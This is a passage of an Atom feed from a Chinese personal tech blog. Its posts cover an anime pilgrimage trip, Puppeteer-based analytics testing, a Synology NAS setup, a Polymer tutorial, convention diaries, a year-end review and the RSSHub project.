    以上是我列举的几个适合 RSS 使用的场景和方式,现在大家是不是对 “RSS 是一种用来消息聚合的格式规范” 这句话有了更深的理解呢?

    ]]>
    + + + + <p>大家都知道 RSS 是一种用来消息聚合的格式规范,有着更高的阅读效率、更好的阅读体验、可以掌握主动权等等优点。</p><p>本文不会介绍 RSS 的各种好处和各式各样的阅读器,因为相关网络资料已经足够多了。这里我介绍一下怎样充分挖掘 RSS 的使用价值,因为它的用途一直被大家低估。</p><h2 id="阅读器"><a href="#阅读器" class="headerlink" title="阅读器"></a>阅读器</h2><p>从最简单的开始,我们可以看看如何用 RSS 订阅一个博客。</p> + + + + + + + +
    + + + 《青春猪头少年不会梦到兔女郎学姐》圣地巡礼 + + https://diygod.me/mai-tour/ + 2019-04-12T01:33:37.000Z + 2020-04-07T19:41:20.826Z + +

    之前去日本玩了几天,最后一天没什么事了,初雪说我们去看兔女郎吧

    4月7日,清晨 11 点半,我们便早早地起床坐上了前往湘南的 JR,开始了这次《青春猪头少年不会梦到兔女郎学姐》 江之岛 ~ 镰仓高校前 ~ 七里滨 ~ 藤泽车站 的圣地巡礼之旅

    江之岛

    我们从新宿坐 JR 一路南下到了江之岛,还是挺远的,全程花了一个多小时,还好我们起得早,下午 1 点就到了

    除了兔女郎学姐之外,江之岛也是诸多动画与日剧的取景圣地,以至于江之岛观光案内所专门有一本动漫巡礼地图

    上岛之后第一件事就是找麻衣代言的限定桃子味汽水

    找了好几台自动售卖机才找到,超级开心,没错了,是学姐的味道!

    我可以一口气喝 10 瓶

    继续往前走,可以经过江之岛上的诸多神社,动画第 6 话中师傅与学妹参拜的是主干道上的江岛神社

    视频直达

    视频直达

    视频直达

    第 6 话剧情高潮的展望台

    视频直达

    视频直达

    然后坐电梯爬到山顶可以登上一个高塔,塔上可以看到很远

    江之岛游览完毕后,原路从大桥返回地铁站,会经过一段地下通道

    视频直达

    视频直达

    镰仓高校前

    现在回到江之岛站,坐江之岛电铁线到下一站 —— 镰仓高校前站

    江之电是很特别的绿皮火车,一路上的风景特别好,街道、海岸

    镰仓高校前站下车,沿着铁路线向腰越方向步行,一分钟便可到达 OP 中最先登场的踢你的肾场景

    这里为了拍到场景中一样的火车在路边站了好久,拍完之后惊喜地发现连左边的汽车都惊人的相似

    视频直达

    视频直达

    接着返回镰仓高校前站内,这里是动画第 9 话中,小姨子代替麻衣参加 CM 的摄影拍摄地

    视频直达

    视频直达

    在镰仓高校前站向七里滨站方向走一分钟,发现这里有很多小姐姐在拍照,这里正是著名的《灌篮高手》取景地,樱木花道与赤木晴子相遇的铁道口

    铁道口对面就是七里滨海滩,站在沙滩上可以看见不远处的江之岛,动画中在沙滩上的诸多场景,皆是取景于此,但是没时间去了

    七里滨

    接着坐江之岛电铁线到下一站,便可以来到动画中出现次数最多的车站 —— 七里滨站

    动画中对于七里滨车站超级还原,无论是出入口还是站台内的自动贩卖机,给我一种转头就可以看到麻衣学姐的错觉

    视频直达

    视频直达

    视频直达

    视频直达

    视频直达

    后面还有师傅与学姐上学的峰原高中、ED 中的海岸公园、初次相遇兔女郎的藤泽市综合市民图书馆、和学妹互踢屁股的御所谷公园、师傅打工的餐厅 等众多打卡点,但看时间快要误机了,此次巡礼之旅就到此为止

    藤泽车站

    回东京的时候路过了藤泽车站,师傅上学就是从这里出发,乘坐江之岛电铁线到七里滨站

    藤泽车站及其附近还有很多场景,但这时候快误机了,紧张的一批,没时间仔细看了,只随便拍了一张

    师傅跟学姐第一次约会迟到的改札口

    视频直达

    回到东京站拿到行李后向成田机场一路狂奔

    在成田特快 Express 上面姬合照

    赶到机场登机口时候已经开始登机了,还好赶上了,不然再晚 10 分钟只能去初雪家睡了

     

    下集预告:我们在日本一共玩了 9 天,本文是最后一天的内容,过一两周会剪一个 9 天的 vlog 出来,9 倍的快乐,记得看哟

     

    巡礼参考攻略:

    ‎「舞台めぐり - アニメ聖地巡礼・コンテンツツーリズムアプリ」をApp Storeで

    《青春猪头少年不会梦到兔女郎学姐》圣地巡礼攻略(详) - 知乎

    《青春期笨蛋不会做兔女郎学姐的梦》动画【圣地巡礼】 - 穷游网

    ]]>
    + + + + <div class="aplayer" id="aplayer-mai"></div><script>$(function(){$.ajax({url:"https://api.i-meto.com/meting/api?server=netease&type=song&id=1313052943",success:function(e){var a=new APlayer({element:document.getElementById("aplayer-mai"),showlrc:3,theme:"#8d7561",music:JSON.parse(e)[0]});window.aplayers||(window.aplayers=[]),window.aplayers.push(a)}})})</script><p>之前去日本玩了几天,最后一天没什么事了,初雪说我们去看兔女郎吧</p><p>4月7日,清晨 11 点半,我们便早早地起床坐上了前往湘南的 JR,开始了这次《青春猪头少年不会梦到兔女郎学姐》 江之岛 ~ 镰仓高校前 ~ 七里滨 ~ 藤泽车站 的圣地巡礼之旅</p><p><img src="/images/mai-tour0.jpg" alt=""></p> + + + + + + + +
    + + + HeadlessChrome 自动化测试探索 + + https://diygod.me/headlesschrome/ + 2019-03-18T01:38:38.000Z + 2020-04-07T19:41:20.826Z + + 埋点一直是B站 HTML5 播放器开发和测试过程中的一个痛点,埋点的种类和接口参数很多,测试很麻烦也很容易出错

    虽然测试很麻烦,但它们的规则都很简单,比如点击或 hover 一个按钮、错误上报、播放和性能上报,那么能不能通过自动化的 E2E 测试来代替这些又繁琐又机械化又容易出错的测试工作呢?

    在一次埋点线上事故后,我花了一天时间做了一些探索,最后效果还不错,在这里做一下简单的总结

    编写测试脚本

    模拟用户操作就需要用到无头浏览器,我采用了 Jest + Puppeteer 的组合

    Jest 是一个测试框架,Puppeteer 是用来控制 Chrome 或 Chromium

    选择 Jest 是因为我对 Jest 最熟悉,然后又找到了一个 preset: jest-puppeteer,不是必需的,但它可以简化很多 Puppeteer 操作

    安装依赖:

    1
    npm install --save-dev jest jest-puppeteer puppeteer

    测试脚本很简单:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    describe('log', () => {
    beforeAll(async () => {
    page.goto('https://www.bilibili.com/video/av44890855');
    });

    it('play_screen', async (done) => {
    page.on('request', (request) => {
    if (request.url().match(/^https:\/\/data\.bilibili\.com\/log\/web\?play_screen...参数参数/)) {
    done();
    }
    });
    page.click('video');
    });
    });

    让 HeadlessChrome 打开一个播放页,监控页面请求的接口,模拟点击 video 元素,监控到浏览器请求了 play_screen 埋点即测试成功

    看起来没什么问题,开开心心地执行了测试,结果 failed

    发生了什么?配置 headless: false 观看了一下测试过程

    发现是因为检测到浏览器不支持 HTML5 播放器,加载了 Flash 播放器

    Puppeteer 文档里说道

    Puppeteer is bundled with Chromium–not Chrome…Puppeteer does not support licensed formats such as AAC or H.264

    解决方法也很简单,把 Puppeteer 自带的 Chromium 换成本地的 Chrome

    1
    2
    3
    launch: {
    executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
    }

    测试通过

    Chrome as a service

    刚才使用了本地的 Chrome,会依赖本地环境,而且想作为自动化测试跑在测试机上也是不行的

    所以我又在测试机上跑了一个 docker 容器:browserless/chrome,它可以把 Chrome 当做一个 service,测试脚本使用 websocket 协议操作 docker 里的 Chrome,这样就避免了依赖本地 Chrome

    启动容器:

    1
    2
    docker pull browserless/chrome:release-chrome-stable
    docker run -d -p 3000:3000 browserless/chrome:release-chrome-stable

    使用:

    1
    2
    3
    connect: {
    browserWSEndpoint: 'ws://localhost:3000'
    }

    劫持 js

    这样用的是线上版本,根本没有测试本地代码啊!

    哦,忘了说了,还需要把线上 js 劫持为本地版本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    await page.setRequestInterception(true);

    page.goto('https://www.bilibili.com/video/av44890855');
    page.on('request', (request) => {
    if (request.url().match(/player\.js/)) {
    request.respond({
    status: 200,
    contentType: 'application/javascript',
    body: fs.readFileSync('dist/release/player.js').toString()
    });
    } else {
    request.continue();
    }
    });
    ]]>
    + + + + <p>埋点一直是B站 HTML5 播放器开发和测试过程中的一个痛点,埋点的种类和接口参数很多,测试很麻烦也很容易出错</p><p>虽然测试很麻烦,但它们的规则都很简单,比如点击或 hover 一个按钮、错误上报、播放和性能上报,那么能不能通过自动化的 E2E 测试来代替这些又繁琐又机械化又容易出错的测试工作呢?</p><p>在一次埋点线上事故后,我花了一天时间做了一些探索,最后效果还不错,在这里做一下简单的总结</p> + + + + + + + +
    + + + 2018 年终总结 + + https://diygod.me/2018/ + 2018-12-31T02:06:16.000Z + 2020-04-07T19:41:20.826Z + + 2018,无所事事又带点丧的一年,感觉很对不起 23 岁这个年纪,要跟自己说声对不起了

    开源

    今年 4 月开坑了 RSSHub,让自己学到了的很多东西,认识了很多人,算是今年为数不多的有趣的事情之一了

    APlayerDPlayer 有半年时间在咕咕咕

    2019 期望再开一个 LTS 一年以上的坑,暂时还没什么想法 🤯

    足迹

    参展:

    暴走 yu 人节
    bw & bml
    ChinaJoy
    CP22
    CP2018SP
    Google 开发者大会
    CP23

    旅游:

    漫展都快去烦了,却没意识到今年一次都没出去旅游,2019 要好好制定一下出行计划了,想 3 月底去日本看樱花 🌸,想去成都找阿猫和七夏姐姐吃火锅,想去深圳找汤圆逛下腾讯,然后去澳门塔蹦极

    技能

    🎨 画画: ,重拾了小学放下的画笔(iPad Pencil),画画真好玩,可惜 darling 烂尾之后很生气,没什么想画的了,就没能坚持下来,2019 再给我一个画画的动力吧

    🤸‍♀️ HIPHOP 街舞:运动强度极大,上完体验课浑身疼了好几天,但是很酷,报了 10 节私教课和 9 节大课,还没开始正式上课,2019 应该可以坚持下来,毕竟挺贵的,这几节课就花了 8000 块左右(两个人)

    🎬 vlog: ,买了 Osmo Mobile 2,漫展拍了几次,已经失去兴趣了

    🍛 做饭:在室友的指导下做了一盘小炒肉,比想象中简单嘛

    🎃 做南瓜灯: ,放进灯的一瞬间惊喜地跳了起来,很有成就感,最后一直放烂了才舍得扔

    健康

    12 月才开始健身,一天 keep 一天跑步,结果强度设置太大,喜闻乐见地伤到了,休息一周半了,没意外的话下周会恢复

    体重没减下来,但也没增加

    早睡:大失败

    2019 想把头发染成橘黄色 👩‍🦰

    游戏

    守望先锋练成了一手无敌强的法鸡,但在七夏姐姐不玩了之后也好几个月没玩过了

    买了 PS4,肝了 60 多个小时后通关(出新手村)了怪物猎人世界,结尾的 BGM 真好听,通关后又被双爆鳞龙和炎妃龙打自闭了 🤐

    堡垒之夜、分手厨房 2、王者荣耀、大表哥 2、跳楼少女、太鼓达人也稍微玩了一下下

    影视

    话剧:

    《乌龙山伯爵》:最佳
    《李茶的姑妈》
    《皇帝的新娘》

    电视剧:

    《我是大哥大》:最佳
    《保镖》
    《迷雾》
    《逃避虽可耻但有用》
    《黑镜》
    《这份恋情有罪吗!?》
    《无法成为野兽的我们》
    《西部世界》
    《魔法觉醒》
    《人类清除计划》

    番剧:

    《DARLING in the FRANXX》:最佳(勉强)
    《齐木楠雄的灾难 第二季》
    《青春猪头少年不会梦到兔女郎学姐》
    《千绪的上学路》
    《citrus~柑橘味香气~》
    《工作细胞》
    《路人女主的养成方法》
    《NO GAME NO LIFE》
    《我家女仆有够烦!》
    《進擊的巨人 第三季》
    《凸变英雄》
    《JOJO的奇妙冒险 黄金之风》
    《OVERLORD》
    《博多豚骨拉面团》
    《pop子和pipi美的日常》
    《刻刻》

    电影:

    太多了,略过

    一共 3 部话剧,10 部电视剧,16 部番剧,超出预期 🙋‍♀️

    有很多想读的书一本都没读,2019 期望可以多读一些书

    感情

    跟酸奶的感情依然很好,她现在就在我旁边睡觉 🐱

    跟发小的地理距离变近了,但是…事情变得怪怪的,希望只是暂时的

    还有很多想说的,不能写出来

    最后

    去年 ch 在她 23 岁的年终总结里写到

    现在的年纪

    已经是不能再马马虎虎生活工作的年纪了

    再也不是心情一好起来 什么都会好起来的年纪

    上次看到还不以为意,现在感觉真是一针见血

    2019 希望可以活得更认真一点,尽量让自己变得充实有趣起来,但说实话我也没什么信心

    ]]>
    + + + + <p>2018,无所事事又带点丧的一年,感觉很对不起 23 岁这个年纪,要跟自己说声对不起了 + + + + + + + +
    + + + 从零开始的 NAS 生活 + + https://diygod.me/nas/ + 2018-11-08T23:40:52.000Z + 2020-04-07T19:41:20.826Z + + 很早就想组一个家庭 NAS 设备,趁着这次双十一,在京东买了一台群晖 DS218play 和一块酷狼 4T 硬盘,已经用了两天了,我的感受是:

    爽爆

    使用

    目前常用的有下面几个功能

    Time Machine

    之前用 Time Machine 做备份要一直连着移动硬盘,很麻烦而且容易忘记,经常是 Mac 提醒我已经 10 多天没备份了才想起来插上移动硬盘备份一下,有 NAS 之后可以实现无线和远程备份,在任何地方都可以让 Mac 每小时自动备份到家里的 NAS 里

    BT 下载

    使用 RSS 订阅喜欢的番剧或美剧,有更新可以自动下载,或者在公司摸鱼的时候看到一部喜欢的电影,可以远程登录到家里的群晖,添加 BT 任务,晚上回家就可以直接看了

    存储

    这是 NAS 最基础的功能了,它最大的好处是可以快速在不同设备间共享

    比如我在电脑上把樱岛麻衣的照片存到 NAS 里,打开手机可以随时看

    再比如我下载了一部日剧,根据我心情的不同,我有可能想坐在桌子前用电脑看,也有可能想躺在床上用 iPad 看

    而在有 NAS 之前,我必须把 iPad 用数据线连到电脑上,打开难用的要死的 iTunes,然后把视频拷贝到 iPad 里才能看

    部署

    群晖有一个叫 QuickConnect 的东西,可以分配一个群晖的域名,可以直接用它在公网远程连接

    但我想绑定自己的域名,还是折腾了一下,没想到那么麻烦

    端口转发

    为了将外网对应到内网的 NAS 上

    家里的电信宽带已经有了公网 IP,设置下端口转发就行了,以为很简单,没想到是个大坑

    用路由器的 DMZ 功能设置好转发之后,发现没效果,访问公网 IP 返回的是光猫的登录界面,才知道光猫和路由器不是桥接,还需要在光猫上设置转发,尝试了下发现我没有光猫的超级管理员账号,没有权限设置

    Google 上查到了几种电信光猫的破解方法,试了都无效,凌晨4点多给电信客服打电话,居然有人接…约了早上电信师傅上门处理

    早上电信师傅过来给了超级管理员账号

    超级管理员账号进了光猫后台,把光猫和路由器设置成桥接后端口转发正常了

    DDNS

    为了将动态的公网 IP 映射到我的域名上

    群晖和路由器都带了 DDNS 功能,却发现都不支持 CloudXNS…只能自己动手了

    惊喜地发现了这个东西:https://github.com/lixuy/CloudXNS-DDNS-with-BashShell

    利用群晖的任务计划功能 10 分钟跑一下这个脚本,实现了 CloudXNS 的 DDNS

    SSL 证书

    群晖自带了自动从 Let’s Encrypt 获取证书的功能,真香

    却发现群晖用的验证方式必须用 80 端口,国内根本不能用,真臭

    也找到了解决方案:http://www.up4dev.com/2018/05/29/synology-ssl-wildcard-cert-update/

    同样是利用群晖的任务计划功能一个月跑一下这个脚本,解决了 SSL 证书和自动续签

    最后实现了通过自己的域名 https://nas.diygod.me:2222 远程访问 NAS,细心的小可爱刚才已经在文章第一张图里看到了这个域名

    ]]>
    + + + + <p>很早就想组一个家庭 NAS 设备,趁着这次双十一,在京东买了一台群晖 DS218play 和一块酷狼 4T 硬盘,已经用了两天了,我的感受是:</p><p><strong>爽爆</strong> + + + + + + + +
    + + + C94 & CP2018SP 参展日记 + + https://diygod.me/cp2018sp/ + 2018-08-26T16:28:11.000Z + 2020-04-07T19:41:20.826Z + + C94 和 CP2018SP 不是同一天,但都是同人展,时间又很近,就写在一起了

    C94

    Comic Market,全球最大的同人展,8 月 10 日在东京举办,我当然没钱去,三天都在 Twitter 云参展,口水流了一地

    托朋友到 Aniplex 展台买了矢吹健太朗的 darling 本子,毕竟官方画师质量超级棒,舔爆!

    如果再给我一次机会,我应该会买三本,一本自舔一本收藏一本传教

     

    CP2018SP

    出发前发现云台坏了,辣鸡大疆,所以这次没有 vlog 了

    Comicup,8 月 25 日在上海举办,CP2018SP 规模比今年5月份的 CP22 小了很多,跟 C94 更没法比,全场两个多小时就逛完了,然后实在无聊又重头逛了一遍…

    虽然规模小但还是买到了很多喜欢的本子,把遇到的 darling 都买了,舔爆!

    对比 CP22

    出来之后和朋友去吃了牛肉火锅,然后看蚁人,然后又撸串,撸串这家散装的草莓啤酒超级好喝,讨厌喝酒的我都喝了一大杯,看 Freddy 开心得手舞足蹈就知道有多好喝了

     

    ]]>
    + + + + <p>C94 和 CP2018SP 不是同一天,但都是同人展,时间又很近,就写在一起了</p><h2 id="C94"><a href="#C94" class="headerlink" title="C94"></a>C94</h2><p>Comic Market,全球最大的同人展,8 月 10 日在东京举办,我当然没钱去,三天都在 Twitter 云参展,口水流了一地</p><p>托朋友到 Aniplex 展台买了矢吹健太朗的 darling 本子,毕竟官方画师质量超级棒,舔爆!</p><p>如果再给我一次机会,我应该会买三本,一本自舔一本收藏一本传教</p> + + + + + + + +
    + + + 2018 ChinaJoy 参展日记 + + https://diygod.me/cj2018/ + 2018-08-10T23:42:32.000Z + 2020-04-07T19:41:20.826Z + + 8月4日去了 ChinaJoy,人还是一如既往的多

    AC 娘真可爱,舔爆

    第二次拍 vlog,然后拍完懒得剪,还是 Freddy 帮我剪的,我在视频里真可爱

     

    又见到了王尼玛和全体暴走家族成员,但这次心情很复杂

    终于买到了之前一直碎碎念的 AC 娘包子头,然后被一万个人问在哪里弄的

    软磨硬泡求拿到了很喜欢的触手直播的毛绒触手,懒得拍照了你们自己想象吧

    然后晚上和绒布球群里的绒布球们吃了饭,第二届绒布球线下py

    ]]>
    + + + + <p>8月4日去了 ChinaJoy,人还是一如既往的多</p><p>AC 娘真可爱,舔爆</p><p>第二次拍 vlog,然后拍完懒得剪,还是 Freddy 帮我剪的,我在视频里真可爱</p><div id="player-cj"></div><script type="text/javascript" src="https://player.dogecloud.com/js/loader"></script><script type="text/javascript">var player=new DogePlayer({container:document.getElementById("player-cj"),userId:17,vcode:"10c5de157e5129c0",autoPlay:!1})</script> + + + + + + + +
    + + + 2018 bw & bml 参展日记 + + https://diygod.me/bw2018/ + 2018-08-06T00:00:05.000Z + 2020-04-07T19:41:20.826Z + + 7月21日和22日去了 bw 和 bml,面基了一万个人,py 通红

    BILIBILI WORLD

    2233 真可爱,舔爆

    第一次拍 vlog,然后拍完懒得剪,还是 Freddy 帮我剪的

     

    然后晚上和绒布球群里的8个绒布球们吃了海底捞,第一届绒布球线下py

    说好的都是肥宅,结果一个比一个,不对,瘦

    小桐桐、李聆歌、Siki、小萌、烷、冰喵、二九、DIYgod、Freddy

    白天冒着台风跟可爱的 lwl 面基,带 lwl 逛了B站总部和撸酸奶

    又跟 richCloud 老板 Zero 撸了串

    BML!

    一进场就被震撼到了,气氛超级嗨,每个人都在用荧光棒伴随节奏打着 call,特别是极乐净土出现的时候,非常激动,嗓子都要喊哑了

    可惜坐的太靠后了,嘉宾的脸都看不清,希望明年可以买得起前面的位子(不要问我为什么公司不发票,用爱发电)

    ]]>
    + + + + <p>7月21日和22日去了 bw 和 bml,面基了一万个人,py 通红</p><h3 id="BILIBILI-WORLD"><a href="#BILIBILI-WORLD" class="headerlink" title="BILIBILI WORLD"></a>BILIBILI WORLD</h3><p>2233 真可爱,舔爆</p><p>第一次拍 vlog,然后拍完懒得剪,还是 Freddy 帮我剪的</p><div id="player-bw"></div><script type="text/javascript" src="https://player.dogecloud.com/js/loader"></script><script type="text/javascript">var player=new DogePlayer({container:document.getElementById("player-bw"),userId:17,vcode:"e831056159c1f1a4",autoPlay:!1})</script> + + + + + + + +
    + + + Polymer 初体验 + + https://diygod.me/polymer/ + 2018-05-30T23:45:43.000Z + 2020-04-07T19:41:20.826Z + + 作为开发者,我们都知道组件化、标准化和代码复用的重要性,前端也从未停止过对前端组件化的尝试,产生了各式各样的组件化技术,从 Vue React 等前端框架,到 webpack 这样的全站打包工具

    但前端一直缺乏这样一个模块化标准和浏览器级别的原生组件化方案

    Web Components 是 WHATWG 和 W3C 正在尝试的 Web 组件化方案,为组件化的前端开发提供浏览器级别的支持。它由四项主要技术组成:Shadow DOM、Custom Elements、HTML Import、HTML Template

    Polymer 项目是 Google 的基于 Web Components 机制的框架,定位于简单的 Polyfill 和易用性封装,包括数据绑定,模板声明,事件系统等。Google 在去年就已经将其应用到了 YouTube 上

    Polymer 3.0 在 20 天前刚刚发布,正好 B 站播放器近期需要重构所有 UI 组件,所以做了这样的一个调研,下文所有 demo 托管在 polymer-demos,这些小 demo 只作为一些简单体验,想了解 Polymer 的完整功能建议阅读官方文档

    浏览器支持

    目前使用 Web Components 的最大阻碍就是浏览器支持程度低,且 Polyfills 体积相对偏大(90+kb)

    目前只有新版 Chrome Opera 和 Safari 可以提供完整的原生支持,具体支持情况可以参考 caniuse.com,使用 Polyfills 后可以支持到 Edge IE11+ Firefox Safari9+

    Polyfills 有三个主要的文件:

    • webcomponents-bundle.js: 包含了所有 polyfills
    • webcomponents-loader.js: 可以检测浏览器支持情况,然后去加载对应的 polyfills,对有原生支持的浏览器可以减少不必要的浪费
    • custom-elements-es5-adapter.js: 注册 Custom Elements 时需要使用 ES6 语法,所以当浏览器不支持 ES6 时需要做额外的处理,再引用这个文件就好了

    总的来说兼容最多浏览器的最佳实践是这样的:

    1
    2
    3
    <scirpt src="webcompoments-loader.js"></scirpt>
    <scirpt src="custom-elements-es5-adapter.js"></scirpt>
    <script src="index.js"></script>

    其中 webcompoments-loader.js 必须单独引用,custom-elements-es5-adapter.js 可以跟 polymer 和你的代码用 Webpack 合到一起,但注意 custom-elements-es5-adapter.js 不要做额外的编译,其他代码用 babel 编译成 ES5,完整实践可以参考 polymer-demos

    Custom elements

    下面尝试定义一个最简单的自定义元素,从 PolymerElement 继承一个类,然后传给 window.customElements.define

    效果

    HTML 代码

    1
    <demo-custom-elements></demo-custom-elements>

    JS 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import { PolymerElement } from '@polymer/polymer';

    class DemoCustomElements extends PolymerElement {
    constructor() {
    super();
    this.textContent = `I'm a custom element.`;
    }
    }

    window.customElements.define('demo-custom-elements', DemoCustomElements);

    Shadow dom

    Shadow dom 是一个隐藏、独立的 DOM,它的 HTML CSS 和行为与常规的 DOM 树分离,这样不同的功能不会混在一起,内外的 CSS 也互不影响

    Shadow dom 不是一个新事物,一直以来,浏览器用它来封装一个元素的内部结构。以 <video> 元素为例。你所能看到的只是一个 <video> 标签,实际上,在它的 Shadow dom 中包含一系列的按钮和控制器

    下面例子中,Shadow dom 里的 p 标签定义了 CSS 属性 color,它不会泄露到外部

    效果

    I am outside of demo-shadow-dom. Because of encapsulation, demo-shadow-dom's styles won't leak to me.

    HTML 代码

    1
    2
    3
    4
    5
    6
    7
    <style>
    html {
    --my-background: #eee;
    }
    </style>
    <demo-shadow-dom></demo-shadow-dom>
    <p>I am outside of demo-shadow-dom. Because of encapsulation, demo-shadow-dom's styles won't leak to me.</p>

    JS 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import { PolymerElement, html } from '@polymer/polymer';

    export class DemoShadowDom extends PolymerElement {
    static get template () {
    return html`
    <style>
    p {
    color: #F5712C;
    background-color: var(--my-background);
    }
    </style>
    <p>I'm a DOM element.</p>
    <p>This is my shadow DOM!</p>
    `;
    }
    }

    window.customElements.define('demo-shadow-dom', DemoShadowDom);

    HTML templates

    使用 <template><slot> 组成 shadow DOM

    效果

    I'm a custom slot.

    HTML 代码

    1
    2
    3
    <demo-html-template>
    <p>I'm a custom slot.</p>
    </demo-html-template>

    JS 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    import { PolymerElement, html } from '@polymer/polymer';
    import '@polymer/polymer/lib/elements/dom-repeat.js'
    import { DemoShadowDom } from './demo-shadow-dom';

    class DemoHTMLTemplate extends DemoShadowDom {
    constructor() {
    super();

    this.employees = [
    {
    name: 'Blog',
    link: 'https://diygod.me'
    },
    {
    name: 'GitHub',
    link: 'https://github.com/DIYgod'
    },
    ];
    }
    static get template () {
    return html`
    <strong>Template:</strong>
    <template is="dom-repeat" items="{{employees}}">
    <p><a href="{{item.link}}">{{item.name}}</a></p>
    </template>
    <strong>Slot:</strong>
    <slot></slot>
    <strong>Super template:</strong>
    ${super.template}
    `;
    }
    }

    window.customElements.define('demo-html-template', DemoHTMLTemplate);

    数据绑定

    支持双向的数据绑定,你可以尝试编辑下面的输入框,或者直接在控制台修改属性 document.querySelector('demo-data').owner1 = 'DIYgay',属性改变会即时反映到 DOM 里

    效果

    HTML 代码

    1
    <demo-data owner1="DIYgod1"></demo-data>

    JS 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    import { PolymerElement, html } from '@polymer/polymer';
    import '@polymer/iron-input';

    class DemoData extends PolymerElement {
    constructor() {
    super();
    this.owner3 = 'DIYgod3';
    }

    static get properties () {
    return {
    owner1: {
    type: String,
    value: 'DIYgod',
    },
    owner2: {
    type: String,
    value: 'DIYgod2',
    }
    };
    }

    static get template () {
    return html`
    <p>This is <b>[[owner1]]</b>'s element.</p>
    <p>This is <b>[[owner2]]</b>'s element.</p>
    <p>This is <b>{{owner3}}</b>'s element.</p>
    <iron-input bind-value="{{owner1}}">
    <input is="iron-input" placeholder="Your name here...">
    </iron-input>
    `;
    }
    }

    window.customElements.define('demo-data', DemoData);

    自定义事件

    下面我们来给我们的自定义元素定义一个名为 diygod 的事件,绑定事件回调的方法跟正常事件一样

    效果

    HTML 代码

    1
    2
    3
    4
    5
    6
    <demo-events></demo-events>
    <script>
    document.querySelector('demo-events').addEventListener('diygod', function (e) {
    alert(e.detail.msg);
    });
    </script>

    JS 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    import { PolymerElement, html } from '@polymer/polymer';

    export class DemoEvents extends PolymerElement {
    static get template () {
    return html`
    <button on-click="handleClick">Kick Me</button>
    `;
    }

    handleClick(e) {
    this.dispatchEvent(new CustomEvent('diygod', {
    detail: {
    msg: 'diygod event fired'
    }
    }));
    }
    }

    window.customElements.define('demo-events', DemoEvents);

    ]]>
    + + + + <p>作为开发者,我们都知道组件化、标准化和代码复用的重要性,前端也从未停止过对前端组件化的尝试,产生了各式各样的组件化技术,从 Vue React 等前端框架,到 webpack 这样的全站打包工具</p><p>但前端一直缺乏这样一个模块化标准和浏览器级别的原生组件化方案</p><p>Web Components 是 WHATWG 和 W3C 正在尝试的 Web 组件化方案,为组件化的前端开发提供浏览器级别的支持。它由四项主要技术组成:Shadow DOM、Custom Elements、HTML Import、HTML Template</p><p>Polymer 项目是 Google 的基于 Web Components 机制的框架,定位于简单的 Polyfill 和易用性封装,包括数据绑定,模板声明,事件系统等。Google 在去年就已经将其应用到了 YouTube 上</p><p>Polymer 3.0 在 20 天前刚刚发布,正好 B 站播放器近期需要重构所有 UI 组件,所以做了这样的一个调研,下文所有 demo 托管在 <a href="https://github.com/DIYgod/polymer-demos" target="_blank" rel="noopener">polymer-demos</a>,这些小 demo 只作为一些简单体验,想了解 Polymer 的完整功能建议阅读<a href="https://www.polymer-project.org/3.0/docs/devguide/feature-overview" target="_blank" rel="noopener">官方文档</a></p> + + + + + + + +
    + + + 早安晚安自动化 + + https://diygod.me/goodnight/ + 2018-04-25T01:45:03.000Z + 2020-04-07T19:41:20.826Z + + 上一集:女朋友的微博情绪监控

    发小一直很喜欢说早安晚安(当然是我说给她),但我经常会忘记,最近灵机一动,想出来这样一个科学高效方便快捷稳定地说早安晚安的办法:

    把微信挂在服务器上,每天固定时间,自动执行发送早晚安文本消息的命令!

    代码很简单,放在了 GitHub 上,具体效果是每天早上 9 点半发一个 “早安”,然后晚上 12 点再发一个 “晚安”。

    太好了!以后再也不会忘记说早安晚安了!开心!

    脚本已经部署到服务器上了,明天早上给发小一个惊喜!

    实际使用的效果明天会更新到下面(肯定没问题,稳得很!):

    ]]>
    + + + + + + <p>上一集:<a href="https://diygod.me/2920/">女朋友的微博情绪监控</a></p><p>发小一直很喜欢说早安晚安(当然是我说给她),但我经常会忘记,最近灵机一动,想出来这样一个科学高效方便快捷稳定地说早安晚安的办法:</p><p>把微信挂在服务 + + + + + + + + +
    + + + RSSHub - 使用 RSS 连接全世界 + + https://diygod.me/rsshub/ + 2018-04-13T00:53:01.000Z + 2020-04-07T19:41:20.826Z + + 项目地址

    介绍

    RSSHub 是一个轻量、易于扩展的 RSS 生成器,可以给任何奇奇怪怪的内容生成 RSS 订阅源

    当前支持列表:

    • bilibili
      • 番剧
      • UP 主投稿
      • UP 主动态
      • UP 主收藏夹
      • 分区视频
    • 微博
      • 博主
    • 网易云音乐
      • 歌单
    • 掘金
      • 分类
    • 自如
      • 房源
    • 快递

    参与我们

    如果有任何想法或需求,可以在 issue 中告诉我们,同时我们欢迎各种 pull requests

    可以通过以下途径参与讨论:

    ]]>
    + + + + <p><strong><a href="https://github.com/DIYgod/RSSHub" target="_blank" rel="noopener">项目地址</a></strong></p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>RSSHub 是一个轻量、易于扩展的 RSS 生成器,可以给任何奇奇怪怪的内容生成 RSS 订阅源</p><p>当前支持列表:</p><ul><li>bilibili<ul><li>番剧</li><li>UP 主投稿</li><li>UP 主动态</li><li>UP 主收藏夹</li><li>分区视频</li></ul></li><li>微博<ul><li>博主</li></ul></li><li>网易云音乐<ul><li>歌单</li></ul></li><li>掘金<ul><li>分类</li></ul></li><li>自如<ul><li>房源</li></ul></li><li>快递</li></ul> + + + + + + + +
